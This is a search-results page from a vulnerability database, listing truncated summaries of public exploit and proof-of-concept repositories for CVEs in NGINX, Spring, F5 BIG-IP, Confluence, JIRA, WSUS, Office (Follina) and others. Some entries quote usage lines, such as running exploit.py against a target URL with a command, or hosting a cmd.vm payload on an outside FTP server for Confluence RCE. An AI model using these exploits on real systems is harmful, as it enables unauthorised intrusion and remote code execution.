Lucene search
+L

271600 matches found

Kitploit
Kitploit
added 2026/09/13 12:34 p.m.6 views

CVE-2018-7600

IMPORTANTE: Se proporciona solo con fines educativos o informativos. Reglas de protección para ModSecurity por fuzzylogic Reglas de protección para ModRewrite .htaccess PARA MEDIOS DE COMUNICACIÓN: Por favor, no publiques un enlace a este repositorio en tus artículos, sin especificar cómo...

9.8CVSS7.6AI score0.99991EPSS
SaveExploits49References3
Kitploit
Kitploit
added 2026/09/13 12:33 p.m.4 views

CVE-2026-42945

NGINX Rift Prueba de concepto de RCE para CVE-2026-42945 , un desbordamiento crítico de búfer en el montón de NGINX en ngxhttprewritemodule introducido en 2008. El error permite la ejecución remota de código no autenticada contra servidores que usan directivas rewrite y set. Esta vulnerabilidad —...

9.2CVSS7.7AI score0.68047EPSS
SaveExploits42
Kitploit
Kitploit
added 2026/09/13 12:33 p.m.5 views

Spring4Shell

Spring RCE CVE-2022-22965 Vulnerability Environment Environment Information springboot jdk11 tomcat9.0.30 payload Request Header Configuration root@kitploit: "suffix": "%//", "c1": "Runtime", "c2": "%", "DNT": "1", "Content-Type": "application/x-www-form-urlencoded", Request Body Data...

9.8CVSS7.6AI score0.99638EPSS
SaveExploits105
Kitploit
Kitploit
added 2026/09/13 12:31 p.m.6 views

CVE-2023-30253-PoC

CVE-2023-30253 CVE-2023-30253 PoC Descripción Esta es mi PoC para el CVE-2023-30253 Dolibarr 17.0.0 inyección de código PHP. Cuando el plugin CMS Website núcleo está habilitado, un atacante autenticado puede obtener ejecución remota de comandos mediante una inyección de código PHP que evade las...

8.8CVSS7.9AI score0.82094EPSS
SaveExploits16
Kitploit
Kitploit
added 2026/09/13 12:31 p.m.7 views

CVE-2022-1388

CVE-2022-1388-Exploit Script de Explotación y Verificación para CVE 2022-1388 Uso Para verificar contra una sola URL de host root@kitploit: python3 exploit.py -v true -u targeturl Para atacar un host y probar un comando en ese host root@kitploit: python3 exploit.py -a true -u targeturl -c command...

9.8CVSS8.5AI score0.99958EPSS
SaveExploits63
Kitploit
Kitploit
added 2026/09/13 12:31 p.m.7 views

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、pon el cmd.vm en tu sitio web debe usar ftp o https ,http no funciona 2、modifica RCEexp.py ,cambia el nombre de archivo = 'ftp://1.1.1.1/cmd.vm' (python -m pyftpdlib -p 21) 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python...

10CVSS8.4AI score0.99913EPSS
SaveExploits20
Kitploit
Kitploit
added 2026/09/13 12:29 p.m.11 views

CVE-2024-28255

OpenMetadataRCE CVE-2024-28255 Batch scan/exploit 1.このツールはセキュリティテストのみに使用されており、違法な攻撃については責任を負いません. 2.The tool is only used for security testing, and I am not responsible for any illegal attacks. 3.工具仅用于安全测试,任何非法攻击本人概不负责. Help Need to modify the DNS address in line 9 of the code. root@kitploit:...

9.8CVSS8.3AI score0.73255EPSS
SaveExploits5
Kitploit
Kitploit
added 2026/09/13 12:29 p.m.5 views

exploit-CVE-2016-10033

PHPMailer 5.2.18 Remote Code Execution PHPMailer is the world's most popular transport class, with an estimated 9 million users worldwide. Downloads continue at a significant pace daily. Used by many open-source projects: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! and many more PHPMailer...

9.8CVSS7.4AI score0.99714EPSS
SaveExploits58
Kitploit
Kitploit
added 2026/09/13 12:26 p.m.9 views

CVE-2022-1329

CVE-2022-1329 The Elementor Website Builder plugin for WordPress is vulnerable to unauthorized execution of several AJAX actions due to a missing capability check in the /core/app/modules/onboarding/module.php file that make it possible for attackers to modify site data in addition to uploading...

8.8CVSS7.7AI score0.92658EPSS
SaveExploits10
Kitploit
Kitploit
added 2026/09/13 12:25 p.m.5 views

CVE-2024-11320

CVE-2024-11320 Exploit for Pandora FMS Remote Code Execution CVE-2024-11320...

9.8CVSS8.1AI score0.91046EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/09/13 12:24 p.m.7 views

CVE-2026-63223-POC

CVE-2026-63223 PoC — CodeIgniter 4 File Upload RCE CVSS 9.8 Critical | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE-434 : Unrestricted Upload of File with Dangerous Type Fixed : CodeIgniter 4 v4.7.4 Advisory : GHSA-mmj4-63m4-r6h5 Vulnerability Summary CodeIgniter 4's isimage and mimein file upload...

9.8CVSS5.9AI score0.00759EPSS
SaveExploits2References1
Kitploit
Kitploit
added 2026/09/13 12:24 p.m.6 views

CVE-2019-11581

CVE-2019-11581 Vulnerabilidad de inyección de plantillas en Atlassian JIRA RCE Demostración python CVE-2019-11581.py http://xx.xx.xx.xx:8080/ "Command" Descarga de la versión vulnerable https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-software-7.13.0-x64.exe PoC...

9.8CVSS8.5AI score0.84621EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/09/13 12:24 p.m.10 views

CVE-2025-59287

In this study, we will examine a critical vulnerability CVE-2025-59287 discovered in the Microsoft Windows Server Update Services WSUS environment. This vulnerability arises from the unsafe deserialization of AuthorizationCookie objects sent to the GetCookie endpoint, where encrypted cookie data ...

9.8CVSS7.9AI score0.99979EPSS
SaveExploits24
Kitploit
Kitploit
added 2026/09/13 12:23 p.m.10 views

CVE-2022-30190

CVE-2022-30190 - Microsoft Support Diagnostic Tool About This script will attempt to create a Microsoft Office document which will remotely execute code. Setup root@kitploit: git clone https://github.com/joshuavanderpoll/CVE-2022-30190.git cd CVE-2022-30190 python3 CVE-2022-30190.py --help Option...

9.3CVSS8.1AI score0.99234EPSS
SaveExploits63
Kitploit
Kitploit
added 2026/09/13 12:20 p.m.9 views

CVE-2022-46080

EN Este proyecto proporciona una prueba de concepto de exploit para una vulnerabilidad de ejecución remota de código RCE en routers Nexxt, específicamente dirigida a la versión 15.03.06.60. Esta vulnerabilidad permite a un atacante habilitar el servicio Telnet en el router sin autenticación,...

9.8CVSS8.2AI score0.02556EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/09/13 12:20 p.m.8 views

rxerium-templates

A curated collection of 144+ Nuclei templates focusing on zero-day and actively exploited vulnerabilities in the wild with a few miscellaneous templates. Templates use passive detection techniques version/date matching and are organized by year for easy navigation. ⚠️ Note: Date matching may be...

5.8AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/09/13 12:19 p.m.6 views

fastjson-rce-lab

Fastjson 1.2.83 RCE Lab Environment CVE-2026-16723 Disclaimer: This lab is intended solely for security research, teaching demonstrations, and defense construction in authorized environments. Testing unauthorized targets without permission may be illegal; users bear all responsibility for the...

9CVSS8.2AI score0.15989EPSS
SaveExploits7
Kitploit
Kitploit
added 2026/09/13 12:19 p.m.6 views

MS15-034

MS15-034 MS15-034 POC La versión actual del servidor IIS es una versión vulnerable que contiene la vulnerabilidad conocida CVE-2015-1635, MS15-034. Al explotar esta vulnerabilidad, existe el riesgo de sufrir ataques como ejecución remota de código o provocar una pantalla azul. Sintaxis de prueba:...

10CVSS8.2AI score0.99999EPSS
SaveExploits18
Kitploit
Kitploit
added 2026/09/13 12:19 p.m.7 views

CVE-2023-25355-25356

Exploit and credits The exploit was found by [email protected] and is presented both in two amazing pieces: full disclosure article DEFCON31 slides A repo to automate even more this vulnerability has been published by Alex Linov: https://github.com/AlexLinov/sipXcom-RCE Objective The...

8.8CVSS7.9AI score0.02501EPSS
SaveExploits4References1
Kitploit
Kitploit
added 2026/09/13 12:16 p.m.5 views

CVE-2017-12149

CVE-2017-12149 Jboss Java Deserialization RCE CVE-2017-12149 The python script uses ysoserial to dynamically generate the payload. Therefore java is required as well...

9.8CVSS8.3AI score0.90713EPSS
SaveExploits14
Rows per page
Query Builder